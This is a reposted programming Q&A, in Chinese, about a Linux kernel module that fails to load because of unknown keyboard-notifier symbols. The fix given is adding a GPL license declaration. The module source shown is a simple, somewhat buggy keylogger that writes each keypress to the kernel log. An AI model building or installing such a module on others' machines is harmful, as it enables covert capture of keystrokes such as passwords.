linux – 加载我自己的内核模块时的未知符号
发布时间:2020-12-13 23:04:10 所属栏目:Linux 来源:网络整理
导读:以下代码(最后粘贴)主要来自 here,是一个非常简单的内核模块,充当键盘记录器.我可以让它编译并生成一个.ko就好了,但是当我尝试加载它时,我在dmesg中得到以下错误: [ 790.833828] keylogger: Unknown symbol unregister_keyboard_notifier (err 0)[ 790.8338
以下代码(最后粘贴)主要来自
here,是一个非常简单的内核模块,充当键盘记录器.我可以让它编译并生成一个.ko就好了,但是当我尝试加载它时,我在dmesg中得到以下错误:
[ 790.833828] keylogger: Unknown symbol unregister_keyboard_notifier (err 0) [ 790.833846] keylogger: Unknown symbol register_keyboard_notifier (err 0) 我没有从源代码构建我的内核,但是使用了archlinux提供的库存内核.但是,我确实安装了kernel-headers包以获得要编译的模块. 所以我的问题是:在我安装的内核中是否找不到这两个符号?如果是,为什么他们没有正确链接(?)? 我可以找到符号存在的证据.首先,我可以看到/ proc / kallsyms中的符号.另外,当我做nm /usr/src / vmlinux时,我也可以看到这两个符号.他们不一样吗? 模块代码: #include <linux/module.h> /* Needed by all modules */ #include <linux/keyboard.h> EXPORT_SYMBOL_NOVERS(unregister_keyboard_notifier); EXPORT_SYMBOL_NOVERS(register_keyboard_notifier); int hello_notify(struct notifier_block *nblock,unsigned long code,void *_param) { struct keyboard_notifier_param *param = _param; struct vc_data *vc = param->vc; int ret = NOTIFY_OK; if (code == KBD_KEYCODE) { printk(KERN_DEBUG "KEYLOGGER %i %sn",param->value,(param->down ? "down" : "up")); } } static struct notifier_block nb = { .notifier_call = hello_notify }; static int hello_init(void) { register_keyboard_notifier(&nb); return 0; } static void hello_release(void) { unregister_keyboard_notifier(&nb); } module_init(hello_init); module_exit(hello_release); 解决方法
我需要将以下内容添加到我的模块源:
MODULE_LICENSE("GPL"); (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |